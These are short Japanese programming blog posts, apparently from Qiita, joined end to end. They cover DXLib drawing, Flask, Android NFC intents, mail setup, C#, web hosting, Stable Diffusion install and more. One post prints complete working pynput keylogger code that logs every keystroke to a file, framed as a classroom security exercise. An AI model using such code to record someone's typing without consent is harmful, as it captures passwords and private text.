        // -1ならエラーとしてゲーム終了
        return 0;
    }

    // １ピクセル描画
    DrawPixel( 100, 50, 0xFFFFFF );

    // プログラムの一時停止
    WaitKey();

    // DXライブラリの破棄
    DxLib_End();

    return 0;
}
```
実行しても何も表示されていないように見えますが、よく見ると１ピクセル白色が塗られています。

![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3713748/d34f9469-53af-1add-3a0b-a03da306d817.png)

# 座標の考え方
描画された位置はDrawPixel関数の第一・第二引数で決まります。第一引数は描画するピクセルのX座標、第二引数はY座標を表しています。

```cpp
// X座標 100 、Y座標 50 の位置にピクセルを描画
DrawPixel( 100, 50, 0xFFFFFF );
```
DXライブラリでは左上が原点( 0, 0 )になっています。X座標は右方向がプラス、Y座標は下方向がプラスです。

![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3713748/2748ffcb-8670-e241-a597-4f2a31b21b7b.png)

## ウィンドウの大きさ
ウィンドウはデフォルトで横 640、縦 480 という大きさになっています。これはゲームを遊ぶエリア（画像だと黒背景の部分）のサイズで、タイトルバーなどは含みません。

![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3713748/41f251d9-b19e-fb64-0ed2-a4361162c7db.png)

描画座標はウィンドウの大きさに収まる範囲で値を指定してください。これより大きな値やマイナスの値を指定することもできますが、画面にピクセルは表示されません。

# 色の指定
DrawPixel関数の第三引数は表示するピクセルの色を指定しています。

```cpp
// 0xFFFFFF の部分はピクセル色の指定
DrawPixel( 100, 50, 0xFFFFFF );
```

C言語やC++言語では数値の先頭に0xを付けることで、その値を16進数で表現することができます。色を表す際には16進数の各2桁がそれぞれ赤（R）、緑（G）、青（B）の強さを決めています。

![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3713748/b5e839c2-58fd-2f75-8ace-519163542de0.png)

FFは10進数で255に相当し、各色は0から255までの256段階の強さを表現できます。この256段階は光の三原色を基にしたもので、すべての色をFFにすると白に、00にすると黒になります。例えば、`0xFFFF00`のように、赤と緑をFF、青を00に設定すると、これらが混ざり合って黄色になります。

```cpp
// 黄色いピクセルを描画
DrawPixel( 100, 50, 0xFFFF00 );
```

わかりにくかったので実行結果を拡大しました。

![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3713748/18f19990-e130-d87f-5aa5-7afe1ee11f89.png)

# 呼び出し回数
DXライブラリには様々な描画系の関数がありますが、基本的に何度呼び出しても問題ありません。例えば今回のDrawPixel関数も、ループと組み合わせれば線を書くことができます。

```cpp
#include "DxLib.h"

int WINAPI WinMain( _In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpcmdLine, _In_ int nCmdShow )
{
    // ウィンドウモード
    ChangeWindowMode( TRUE );

    // DXライブラリの初期化
    if( DxLib_Init() == -1 )
    {
        // -1ならエラーとしてゲーム終了
        return 0;
    }

    // DrawPixel関数を100回呼び出す
    for( int i = 0; i < 100; i++ )
    {
        // １ピクセル描画
        DrawPixel( i, 50, 0xFFFF00 );
    }
    
    // プログラムの一時停止
    WaitKey();

    // DXライブラリの破棄
    DxLib_End();

    return 0;
}
```

**実行結果**

![](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3713748/8b46cc44-16b1-d913-74e1-1c2c4a746e7d.png)

# おわりに
座標や色の扱いはゲーム開発の基本となる考え方です。今回は１ピクセルだけ色を塗るというシンプルなプログラムでしたが、これらの基礎を理解することで、より複雑な描画や表現に取り組んでいけるようになります。

# 参考

- [DrawPixel](https://dxlib.xsrv.jp/function/dxfunc_graph0.html#R2N5)
<Flask備忘録>ファクトリ、Blueprintなど

### ファクトリなるものをつかってflaskアプリの生成、初期化を行う

```python
from flask import Flask

def create_app(test_config=None):

    app = Flask(__name__, instance_relative_config=True)
    app.config.from_mapping(
        SECRET_KEY='dev',
        DATABASE=os.path.join(app.instance_path, 'データベースファイル名'),
    )

```

###### なぜか
- 開発環境と本番環境で異なるデータベース設定を使用したいと考えています。
- 機密性の高いSECRET_KEYやデータベースのURLは公開したくない（公開されるべきではありません。）


したがって、
- 開発環境: ローカルマシン上で動作し、SQLiteデータベースdev.sqliteを使用
- 本番環境: サーバー上で動作し、PostgreSQLデータベースを使用

という使い分けをしたい。

instance_relative_config=Trueを使用すると、Flaskはインスタンスフォルダ内の設定ファイルから設定を読み込むようになります。このフォルダは通常、アプリケーションのルートディレクトリの外に配置され、バージョン管理システムに含まれません。
以下のようにファイルを切ります。
```python
/instance
    development.py
    production.py
    staging.py

```
例えばinstance/development.pyはこんな感じです。
```python
# instance/development.py
SECRET_KEY = 'development_key'
DEBUG = True
DATABASE_URI = 'sqlite:///development.db'
```
PendingIntentのフラグを理解してなかったせいで詰まった話

# 違い
公式のドキュメントのPendingIntent.FLAG_IMMUTABLEのところには次のように書かれてました。
> FLAG_IMMUTABLE only limits the ability to alter the semantics of the intent that is sent by send() by the invoker of send()

意味としては、
FLAG_IMMUTABLEを設定するとsend()の呼び出しによって送信されるインテントのセマンティクスを変更する機能のみを制限します。
という感じなので、インテントの情報を変更できないよという事になる。

[公式ページ](https://developer.android.com/reference/android/app/PendingIntent#FLAG_IMMUTABLE)

逆にMUTABLEの方は変更可能であると書かれているので、PendingIntent経由で何か情報を受け取りたい時はMUTABLEの設定すればよいと思われる。

# 具体例
NFCカードを読み取ろうとしている際にIMMUTABLEかMUTABLEかの違いで詰まりました。
NFCの読み取りに関する詳細は今回割愛しまが、したのコードを簡単に説明すると、onResumeではNFCカードを読み取ったら現在のアクティビティを開始するように設定していて、onNewIntentではNFCを読み取った際のintentを受け取ってintentのactionを表示するというコードになっています。

``` kotlin
override fun onResume() {
        super.onResume()
    val intent = Intent(this, this.javaClass)
    intent.setFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
    val pendingIntent = PendingIntent.getActivity(applicationContext, 0, intent, PendingIntent.FLAG_IMMUTABLE)
    mNfcAdapter.enableForegroundDispatch(this, pendingIntent, null, null)
}

override fun onPause() {
    super.onPause()
    mNfcAdapter.disableForegroundDispatch(this)
}

override fun onNewIntent(intent: Intent?) {
    super.onNewIntent(intent)
    println("onNewIntent action: ${intent?.action}")
    // 本来ここでandroid.nfc.action.NDEF_DISCOVEREDなどと表示されてほしかった。
}
```
そしてこのコードがうまく動かない原因はフラグにIMMUTABLEを設定していた事でした。
onResumeの4行目でPendingIntentのフラグにIMMUTABLEを設定している事によってonNewIntentで受け取るintentの引数がnullになりNFCカードをかざすと反応はするが、情報は取れないということになり詰まってました。

上記のプログラムを動くように修正すると下のようになります。（PendingIntent.FLAG_IMMUTABLEをMUTABLEに変更しただけですが、、)
``` kotlin
override fun onResume() {
        super.onResume()
    val intent = Intent(this, this.javaClass)
    intent.setFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
    val pendingIntent = PendingIntent.getActivity(applicationContext, 0, intent, PendingIntent.FLAG_MUTABLE)
    mNfcAdapter.enableForegroundDispatch(this, pendingIntent, null, null)
}

override fun onPause() {
    super.onPause()
    mNfcAdapter.disableForegroundDispatch(this)
}

override fun onNewIntent(intent: Intent?) {
    super.onNewIntent(intent)
    println("onNewIntent action: ${intent?.action}")
    // 本来ここでandroid.nfc.action.NDEF_DISCOVEREDなどと表示されてほしかった。
}
```
pynputでキーロガーを作ってみた

https://github.com/KajizukaTaichi/key-logger

## はじめに

この記事では、Pythonのライブラリであるpynputを使用してキーロガーを作成する方法について説明します。キーロガーは、キーボードの入力を監視し、記録するプログラムです。

## なぜキーロガーを作ろうとしたのか

私が通っている電気通信大学プログラミング教室にてセキュリティの話があったのでキーロガーを作ってみることになりました。

## コードの解説

```python
from pynput import keyboard
import logging 

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
file_handler = logging.FileHandler('key.log')
file_handler.setLevel(logging.INFO)

file_handler.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s'))
logging.getLogger('').addHandler(file_handler)

with keyboard.Listener(
        on_press = lambda key: logging.info("%s", key)) as listener:
    listener.join()
```

上記のコードは、pynputライブラリを使用してキーロガーを作成するものです。キーボードの入力を監視し、入力されたキーを "key.log" というファイルに記録します。`keyboard.Listener` を使用して、キーボードの入力を非同期で監視し、`on_press` ハンドラーにラムダ式を指定して、キーが押されたときにログ記録します。

## まとめ

pynputライブラリを使用すれば、Pythonで簡単にキーロガーを作成することができます。しかし、その使用は慎重に検討する必要があります。プライバシーを侵害せず、倫理的な範囲内で使用することが重要です。
AlmaLinux 9 で SAKURA の メールボックスを使う

## s-nail のインストール

```
[root@my.domain.server ~]# dnf install s-nail
```
## 設定

`$HOME/.mailrc` を以下のように設定する。

```
set v15-compat
set mta=smtp://username%40my.domain:mypassword@www9999.sakura.ne.jp:587 smtp-use-starttls
set from=username@my.domain
```

上記は次のように読み替えること
- username = ユーザ名
- my.domain = ユーザのドメイン名
- mypassword = パスワード
- www9999 = 利用している SAKURA メールボックスのサーバ名

mta 設定の書式としては、`[プロトコル]://[アカウント]:[パスワード]@[SMTPサーバ]:[ポート]` となる。SAKURA のメールボックスでは、ドメイン名を含めたメールアドレスが SMTP 認証時のアカウントとなるので、上記のように `username@my.domain` を [アカウント] に設定する。このとき、[アカウント] と [パスワード] は urlencode されている必要があるので、[アカウント] に含まれる `@` は `%40` に置き換える。（使用している文字によっては[パスワード] も urlencode しなければならない）

## メール送信テスト

```
[user@my.server ~]$ mail xxxx@gmail.com
Subject: TEST
To: xxxx@gmail.com
This is a s-nail test.
^D
-------
(Preliminary) Envelope contains:
From: username@my.domain
To: xxxx@gmail.com
Subject: TEST
Send this message [yes/no, empty: recompose]? y
[in-admin@xserver ~]$
```

`^D` は `Ctrl + D`

## 環境

- Host OS : AlmaLinux 9.3
- 外部 SMTP : SAKURA mailbox

## 余談

VPS でウェブ・サーバを運用しているのですが、メールは面倒臭いので SAKURA メールボックスを利用しています。

AlmaLinux 8 (≒CentOS 8) までと違って、AlmaLinux 9 では mailx が無くなり s-nail を使う必要があるのですが、`.mailrc` の書き方も以前とは変っていて、ちょっと設定に手間取りました。

自分のための備忘を同じような環境の方のためにシェアします。
良かった記事

https://sqlab.net/

https://qiita.com/chi1180/items/d945f5507f546bffa610

https://overreacted.io/things-i-dont-know-as-of-2018/

https://demoday.saza.dev/demoday/

https://twitter.com/saza_ku/status/1759413590342377484?t=UljJJFwxDffHw5FHDqMdqg&s=19

https://vengineer.hatenablog.com/entry/2024/02/20/173000

https://qiita.com/_mi/items/e8091d16a71d894396c1

https://note.com/simplearchitect/n/ncfc2e38f8e8b?sub_rt=share_pb

https://speakerdeck.com/oracle4engineer/fast-learning-go?slide=45

https://www.gaji.jp/blog/2024/02/13/18388/

https://note.com/ikyu_design/n/ndf1204cda1fe

https://www.amazon.co.jp/dp/477419087X

https://www.beex-inc.com/column/aws_webserver_beginner

https://blog-dry.com/entry/2021/12/26/002649

https://zenn.dev/ysen/articles/143634150751d8

https://speakerdeck.com/pharma_x_tech/axum-plus-rustwowebassemblywoshi-tutecloudflare-workersdedong-kasitemita

https://qiita.com/nokonoko_1203/items/57fbbdddbf7975a1d803

https://zenn.dev/codemountains/articles/b3c9c176d821e7

https://dev.classmethod.jp/articles/rust-rocket/

https://mountix-docs.codemountains.org/

https://zenn.dev/nameless_sn/articles/graphql_tutorial

https://zenn.dev/takurinton/articles/bab60687f17c2b

https://zenn.dev/pakkun/articles/39becc567b25af


https://www.softbank.jp/biz/blog/cloud-technology/articles/202305/serverless/#:~:text=%E3%82%B5%E3%83%BC%E3%83%90%E3%83%AC%E3%82%B9%EF%BC%88%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E3%83%AC%E3%82%B9%EF%BC%89%E3%81%A8,%E7%9B%AE%E7%9A%84%E3%81%A8%E3%81%97%E3%81%9F%E3%82%B5%E3%83%BC%E3%83%93%E3%82%B9%E3%81%A7%E3%81%99%E3%80%82

https://yutaroogawa.github.io/pytorch_tutorials_jp/

https://qiita.com/4_mio_11/items/cd3efe0345eee75c3ae2

https://community.fs.com/jp/article/rudp-udp-p2p-who-are-you.html

https://ipsj-catalog.jp/story/networkgame.html

https://www.nic.ad.jp/ja/basics/terms/quic.html

https://speakerdeck.com/takonda/migration-from-next-app-router-to-remix?slide=16

http://www.catb.org/~esr/faqs/hacker-howto.html

https://speakerdeck.com/_kensh/asynchronous-over-synchronous

https://speakerdeck.com/masatoto/llmmarutiezientowofu-kan-suru?slide=6

https://speakerdeck.com/recruitengineers/introduction-of-abtesting?slide=33

https://zenn.dev/yuta28/articles/azure-microsoft-learn-good

https://speakerdeck.com/recruitengineers/introduction-of-abtesting?slide=33

https://www.amazon.co.jp/Web%E3%82%A2%E3%83%B3%E3%82%B1%E3%83%BC%E3%83%88%E8%AA%BF%E6%9F%BB-%E8%A8%AD%E8%A8%88%E3%83%BB%E5%88%86%E6%9E%90%E3%81%AE%E6%95%99%E7%A7%91%E6%9B%B8-%E7%AC%AC%E4%B8%80%E7%B7%9A%E3%81%AE%E3%82%B3%E3%83%B3%E3%82%B5%E3%83%AB%E3%82%BF%E3%83%B3%E3%83%88%E3%81%8C%E3%83%9E%E3%82%AF%E3%83%AD%E3%83%9F%E3%83%AB%E3%81%A7%E5%9F%B9%E3%81%A3%E3%81%9F%E5%AE%9F%E8%B7%B5%E6%96%B9%E6%B3%95-DATA-UTILIZATION/dp/4798182176?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&crid=1MWQSZRAG0SP4&keywords=web%E3%82%A2%E3%83%B3%E3%82%B1%E3%83%BC%E3%83%88&qid=1704334092&sprefix=web%E3%82%A2%E3%83%B3%E3%82%B1%E3%83%BC%E3%83%88,aps,208&sr=8-1&linkCode=sl1&tag=tetsuroito123-22&linkId=ce8ee9b4538b0a01c3bcbd936b0e66f8&language=ja_JP&ref_=as_li_ss_tl

https://engineers.ntt.com/entry/2023/12/22/092917

https://codezine.jp/article/detail/19332
C# のジェネリック制約にEnumを使う時のサンプル

# 概要
一回C#のジェネリック制約にEnumを使ってみたけどあんまりパッとしなかったのでサンプルをいくつか書いてみました。
大量のEnumパラメータから自動でドロップダウンリストUIを生成したいみたいな用途で使うことを想定しています。
ただstring↔Tenumの相互変換があまりスマートではないのでいい方法があるならコメントで教えてくれると大変うれしいです。

# コード

```c#
using System;

namespace SnippetTest
{
    public class Program
    {
        static void Main(string[] args)
        {
            var test = new EnumGenericTest<SampleEnum>();
            var sample = SampleEnum.Two;
            var sample2 = SampleEnum.Three;
            var sample3 = SampleEnum.Two;

            test.EnumTest(sample);

            Console.WriteLine($"TEnumを比較する,(sample == sample2) = {test.EnumEqual(sample, sample2)}");
            Console.WriteLine($"TEnumを比較する,(sample == sample3) = {test.EnumEqual(sample, sample3)}");

        }

        enum SampleEnum
        {
            One, Two, Three
        }
    }

    public class EnumGenericTest<TEnum> where TEnum : struct, Enum
        //struct制約を付けないとEnum.TryParseが使えなかった(CS0453)
    {

        public string EnumFullName { get; private set; }
        public string EnumName { get; private set; }

        public int EnumValue { get; private set; }

        public EnumGenericTest()
        {
            Console.WriteLine($"型Check: IsEnum=={typeof(TEnum).IsEnum}");

            foreach(string name in Enum.GetNames(typeof(TEnum)))
            {
                Console.WriteLine($"要素名列挙:{name}");
            }
            //実際にObjectを列挙したいときはEnum.GetValues()を使う
        }

        public void EnumTest(TEnum enumValue)
        {
            //クラス名含めてFullで型名を取る
            EnumFullName = typeof(TEnum).FullName;
            EnumName = typeof(TEnum).Name;

            EnumValue = Convert.ToInt32(enumValue);


            Console.WriteLine($"型名をFullで:{EnumFullName}");
            Console.WriteLine($"列挙型単体で型名を:{EnumName}");
            Console.WriteLine($"整数で値を出力する:{enumValue}");
            //Enum制約状態でstring-> EnumObjectへの変換
            if (Enum.TryParse<TEnum>("One", out var result))
            {
                Console.WriteLine($"StringをEnumにPurseする{result},intValue={Convert.ToInt32(result)}");
            }
        }

        public bool EnumEqual(TEnum enumValue1, TEnum enumValue2)
        {
            return Enum.Equals(enumValue1, enumValue2);
        }
    }
}

```

## Output

```
型Check: IsEnum==True
要素名列挙:One
要素名列挙:Two
要素名列挙:Three
型名をFullで:SnippetTest.Program+SampleEnum
列挙型単体で型名を:SampleEnum
整数で値を出力する:Two
StringをEnumにPurseするOne,intValue=0
TEnumを比較する,(sample == sample2) = False
TEnumを比較する,(sample == sample3) = True
```

# 参考
https://qiita.com/tetr4lab/items/560b567a330fb985a573
Xserverで無効なURLです。 プログラム設定の反映待ちである可能性があります。 と表示された場合の対策手順書備忘録

## XserverでSSL化するための手順書(2025/04更新)

①絶対に忘れてはいけない！！→SSL申請をする（ONにする）
②.htaccess(ドットエイチティーアクセス)にてhttpsへリダイレクト処理
③WordpressをSSL化するため、Wordpressの一般からURLをhttpsに変更する


#### ①コレいつも忘れてない！？SSL申請をする（ONにする）
![スクリーンショット 2024-02-21 12.22.31.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/540462/84fd2c97-d6e8-a3ae-bae6-c9dc967e1136.png)
↓
![スクリーンショット 2024-02-21 12.22.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/540462/8a325527-a0e8-925c-7200-b3668d21c6ae.png)

### なぜSSLをONにするを忘れてしまうのか？
ドメインの設定画面で、SSLも一緒に申請するというチェックボックスに✅を入れていると、

「SSLの申請は済んでいるから、あとはリダイレクト処理するだけ」

っと思いがちだからです。しかし下記のように失敗するという事象が発生することがあります。
![スクリーンショット 2025-04-01 14.17.08.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/540462/65b4eded-3e02-4933-9f6b-8aadfdaa127f.png)

なので、失敗しましたをみたら、ご自身で忘れずにSSLの申請をする必要があります。
そうしないと、このあとの処理でリダイレクト処理を書いても、ズーーーーーーっとサイトが表示されません。

#### ②.htaccess(ドットエイチティーアクセス)にてhttpsへリダイレクト処理


Xserver公式より
```
RewriteEngine On
RewriteCond %{HTTPS} !on
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L]
```
上記を末尾に追加。ほかのコードはいじらない。

#### ③WordpressをSSL化するため、Wordpressの一般からURLをhttp→httpsに変更する

![スクリーンショット 2024-02-21 12.30.03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/540462/72ab16de-04f3-62d6-8970-af3ae47b7e23.png)


注意：SSL申請をする（ONにする）の実行して、半日〜1日程反映されるまで待つ必要がある。


以上となります。
ここは違う、ここはこの方が？等々ございましたらご指摘いただけますと幸いです。
ベストな睡眠について考えてみた。

エンジニアにとって、大切なことの一つであると感じ記事にしてみました。
# 睡眠が生産性に与える影響

https://prtimes.jp/main/html/rd/p/000000013.000025391.html

この記事ではメインのトピックスとして以下のようなことが述べられている。

:::note info
睡眠の問題はプレゼンティズム(生産性の低下)を招き、
少なくとも1人あたり12.4万円、日本全体では7.5兆円の損失となっている。
さらに仕事のストレス反応への強い影響も確認。
:::

年齢によって生産性への影響の仕方に差はあるようだが、
ある程度の睡眠時間を確保することで生産性を維持することに繋がると考えられる。

# 睡眠改善に役立つ方法を考える
## 1.寝具を心地よいものにする
寝具は様々あるので好みのもので就寝するのが良いだろう。
清潔を保ちやすいものがおすすめ。
枕に関しては頭に熱がこもると睡眠の質が下がるため、通気性の良いものが尚良さそうである。
以下が筆者の寝具です。

**タオルケット**

https://www.tranparan.jp/c/bedding/towelket/kub

**掛布団**

https://www.nitori-net.jp/ec/product/7544331s/

**敷布団**

https://www.nitori-net.jp/ec/product/7545051s/

**枕**
サイトがなかったのですがリンクのものと似たような形のumiの低反発枕を使用しています。

https://www.nitori-net.jp/ec/product/7550668s/


## 2.寝る前に良い香りを嗅ぐ
枕元にアロマを置いてみたり、就寝前にキャンドルを灯してゆったりしてみるのはどうでしょうか。

**おすすめのアロマ**

https://www.muji.com/jp/ja/store/cmdty/detail/4550344294901

筆者はこちらのお店のキャンドルが好きすぎて、１年に１本購入している。

https://note.com/yukaikayukako/n/na7fe7e6b7904

## 3.食事は就寝の３時間前までに済ませる
食物の消化によって睡眠が妨げられる場合もある。
食べすぎないようにすることが重要である。

## 4.入浴時間
１~2時間前を目安に湯船で２０分程度浸かることをおすすめする。
この時の温度は38~40℃が望ましい。
ヒトは眠ろうとする時深部体温を下げる。
入浴をすることによってこの働きを手助けする。
入浴が難しい場合は夕方に運動することや、足湯につかるなど深部体温を上げるようなことをすると良いと考えられる。

ちなみに筆者は普段キュレルのバスミルクを使用しているが、
最近試したい入浴剤はきき湯のファインヒートである。

## 5.寝る前にスマホやパソコンを見ない
寝る前はなるべくブルーライトを避けるようにする。
どうしても情報を得たい場合はなるべく紙媒体にする。

やむなくスマホやタブレットなどを使う場合には、apple製品であればnight shiftの設定ができるので活用してみるのもいいだろう。

## 6.光を遮断する
夏などは朝明るくなるのが早いので光で目覚めてしまうことがある。
また夜であっても街灯の光などで睡眠が妨げられることもある。
カーテンやブラインドを活用して部屋を暗くすることでよく眠れるだろう。

目覚めが心配な場合は最近流行りのスマートホーム化を進め、
目覚めの時間にカーテンを開けるようにしたり、
電気を自動でつくようにしたりすることが効果的であろう。

https://www.switchbot.jp/products/switchbot-curtain?currency=JPY&variant=37866933944495&utm_medium=cpc&utm_source=google&utm_campaign=Google%20Shopping&stkn=85ef6db07253&utm_source=google&utm_medium=cpc&utm_campaign=GB_Daily_UPmax_Whole_230706&gad_source=1&gclid=CjwKCAiAuNGuBhAkEiwAGId4ald759C2f0NVE3smryUp1wkPaL9AC8jkuFfngwgpRZ3PASCWsBnsuBoCUCkQAvD_BwE

https://www.switchbot.jp/products/switchbot-ceiling-light?currency=JPY&variant=42442788536495&utm_medium=cpc&utm_source=google&utm_campaign=Google%20Shopping&stkn=85ef6db07253&utm_source=google&utm_medium=cpc&utm_campaign=GB_Daily_UPmax_Whole_230706&gad_source=1&gclid=CjwKCAiAuNGuBhAkEiwAGId4avs_3usCRC88_aylEWdW1h8yCIZrnmqzYunc5JsTiidameN-_R4T8BoCkcUQAvD_BwE

## 7.パジャマを着る
ルームウェアではなくきちんと睡眠時用のパジャマを用意することで気持ちの切り替えができるだろう。
吸湿性がありゆったりとしたものを選ぶようにするとよい。

筆者は無印良品のパジャマを愛用している。
冬はフランネルのものを選ぶことにより快適な温度で就寝ができている。

https://www.muji.com/jp/ja/store/cmdty/detail/4550583208837?noScroll=true


# 終わりに
よく理想の睡眠時間が8時間という話を聞くが、
理想の睡眠時間通りに睡眠をすると、人生の3分の1ほどを睡眠に費やしていると考えられる。

筆者は以下のような動画をたまに見たりするが、普通におもしろい。

https://youtu.be/fOsaVft0Mtw?feature=shared

寝具にお金をかけてられないなどと思っていたが、人生の3分の1と考えるともっと睡眠に投資するのも良いかもしれないと改めて感じた。
読者の方々も少し意識してみてはいかがだろうか。
JavaScriptで要素をドラッグして移動する簡単な方法

要素をドラッグして移動することは、JavaScriptにおいて頻出パターンです。
しかし、それを簡単に実現するコードは意外と知られていません。

```html:画像をドラッグするとグリグリ動かせるコード
<img id="$img" src="https://js.cx/clipart/ball.svg" width="40" height="40">
<script>
$img.onpointermove = function(event){
    if(event.buttons){
        this.style.left     = this.offsetLeft + event.movementX + 'px'
        this.style.top      = this.offsetTop  + event.movementY + 'px'
        this.style.position = 'absolute'
        this.draggable      = false
        this.setPointerCapture(event.pointerId)
    }
}
</script>
```
``mousedown``+``mousemove``+``mouseup``+``フラグ変数``を駆使して実現するコードはよくありますが複雑になるので、ドラッグするだけなら上記コードを使いましょう。
キューとスタック

## キューとスタック
キューは、FIFO(First In, First Out)で、スタックは（Last In, First Out）というのが結論です。

どちらもデータを一時的に保存する場所のことなのですが、データを順番に入れた後に、どのような順番で取り出すのかを示します。

キューを使う場合は、リアルタイム処理のように順番に処理をしないといけない場合の処理です。スタックは、最後に入れたものからの処理です。例えば、関数の呼び出しや逆順処理などです。

## 結論
後入れ先出し（LIFO）の動作が必要な場合や、最後に追加された要素に頻繁にアクセスする必要がある場合はスタックを使用します。

先入れ先出し（FIFO）の動作が必要な場合や、データを到着順に処理する必要がある場合はキューを使用します。
Web 版 Microsoft Copilot を利用する際には copilot.microsoft.com で利用するのがおすすめ

## 概要

ブラウザで利用できる Web 版 Microsoft Copilot  を利用する際に２つの URL があるのですが、`copilot.microsoft.com`を利用するのがおすすめです。

1. [copilot.microsoft.com](https://copilot.microsoft.com/)
1. [www.bing.com/search?q=Bing+AI&showconv=1&FORM=hpcodx](https://www.bing.com/search?q=Bing+AI&showconv=1&FORM=hpcodx)

`www.bing.com/search?q=Bing+AI&showconv=1&FORM=hpcodx`利用時の困りごとして、マウスで下にスクロールした際に Bing の検索画面に遷移してしまうという仕様がありました。長いプロンプトをスクロールしている時にたまに遷移していたため、少し困っていました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24031/944bda8e-7dc7-402f-6c9c-73a08beb9bd0.png)

`copilot.microsoft.com`では単独のページであるためスクロールされる心配がなく、こちらの URL を利用することがおすすめです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24031/1329a19c-d2a2-c2ab-b18b-ffc6da07299b.png)

`copilot.microsoft.com`へ行く際には、`https://copilot.microsoft.com/`にブラウザで接続すればよいのですが、Microsoft 社のホームページから遷移する手順を紹介します。

## `copilot.microsoft.com`への接続方法

### 1. Microsoft Copilot のページにて、`無料バージョンの Copilot をお試しください`を選択

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24031/0560c165-2e9d-7f72-312c-2cafb7461082.png)

引用元：[Microsoft Copilot | Microsoft AI](https://www.microsoft.com/ja-jp/microsoft-copilot)

## 2. `copilot.microsoft.com`へ接続されたことを確認

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24031/1329a19c-d2a2-c2ab-b18b-ffc6da07299b.png)
Stable Diffusion (Windows)　pyenvを使ってインストールできない場合の対処法


# pyenvを使った Stable Diffusionのインストールガイド (Windows)

このガイドでは、Windows上でpyenvを使用してStable Diffusionをインストールし、実行する方法を説明します。

## 前提条件
Windows 10 またはそれ以上
pyenv-winがインストールされていること
Gitがインストールされていること

# インストール手順
## 1. 必要なPythonバージョンのインストール

Stable DiffusionにはPython 3.10.6が推奨されています。まず、このバージョンのPythonがインストールされているかを確認し、なければインストールします。
 
```qiita:bash
pyenv install 3.10.6
pyenv global 3.10.6
```

## 2. Gitのインストール

Gitがまだインストールされていない場合は、Gitの公式サイトからダウンロードしてインストールしてください。

## 3. Stable Diffusionのリポジトリのクローン

コマンドプロンプトまたはPowerShellを開き、以下のコマンドを実行してStable Diffusionのリポジトリをクローンします。

```qiita:bash
git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui.git
cd stable-diffusion-webui
```

## 4. 環境変数の設定

webui-user.bat ファイルを以下の内容で作成または編集します。<ユーザー名>をご自身のPCでのアカウント名に書き換えてください。

```qiita:bash
@echo off

set PYTHON="C:\Users\<ユーザー名>\.pyenv\pyenv-win\versions\3.10.6\python.exe"
set GIT=
set VENV_DIR=
set COMMANDLINE_ARGS=

call webui.bat
```

このファイルは、Stable Diffusionを実行するための環境変数を設定し、webui.batを呼び出します。

5. Stable Diffusionの実行

webui-user.bat ファイルをダブルクリックするか、コマンドプロンプトから直接実行して、Stable Diffusionを起動します。(フォルダはstable-diffusion-webuiのリポジトリを参照している状態です)

```qiita:bash
.\webui-user.bat
```

起動後、ブラウザを開いて指示されたアドレス（通常は http://127.0.0.1:7860）にアクセスすると、Stable DiffusionのUIが表示されます。

## 注意事項
Pythonのパスは、pyenvでインストールしたPythonの実際のパスに置き換えてください。
このガイドでは、pyenvを使用してPythonのバージョン管理を行っています。pyenvのセットアップについては、pyenv-winのGitHubリポジトリを参照してください。

このドキュメントは、Windows環境でStable Diffusionをセットアップし、実行する基本的な手順をカバーしています。プロジェクトの具体的な要件や追加の設定が必要な場合は、[公式のドキュメント](https://github.com/AUTOMATIC1111/stable-diffusion-webui?tab=readme-ov-file#installation-and-running)やコミュニティのガイドを参照してください。
Amazon LightsailのDNS Zoneを使用している場合のAmazon SESのドメイン認証の手順

# 当記事の概要
Amazon Lightsailは、月額数ドル〜でAWS上に簡単にサーバ・Webアプリケーションを構築できるサービスです。

このAmazon LightsailでRedmineサーバを構築した際、Redmineからのメール通知用に Amazon SES も一緒に利用したのですが、SESのドメイン認証が当初うまくいかなかったので、その解決方法を記載します。

# ハマったポイント
Amazon SESからメールを送信するためには、送信元のメールアドレス、または、ドメインを事前に検証する必要があります。

このうち、ドメイン検証では、例えばAWSのRoute 53でドメインを取得し、Route 53でDNSを管理している場合、SESの設定の中で容易にドメイン検証を行うことができます。ただ、**LightsailでDNS Zoneを作成している場合、SESの設定で完結せず、LightsailでのDNS設定が必要**になります。

整理すると、当記事の対象とするケースは以下になります。

- ドメインはRoute 53で取得済み
- LightsailでDNS Zoneを作成済み

※ドメインをRoute 53で取得していたため、SESのRoute 53連携で事足りるかと勘違いしていたのですが、LightsailでDNS Zoneを作成している以上、Lightsail側での設定が必要であった、というオチになります。


# SESのドメイン検証の手順
上記のケースにおけるSESのドメイン検証の手順は以下の通りです。

SESの管理画面で、メニューの「ID」を選択し、「IDの作成」ボタンをクリックします。

![2024-02-21 at 10.52.55@2x.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/386149/23796eb8-c075-2b4b-c14d-b5a42f0d4ec3.png)


IDの作成画面で、「IDタイプ」として「ドメイン」を選択し、対象のドメインを入力します。

![2024-02-21 at 10.53.06@2x.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/386149/208cf66b-db4a-2ec2-11eb-3343d311b33b.png)

同画面で、「DKIMの詳細設定」を展開します。

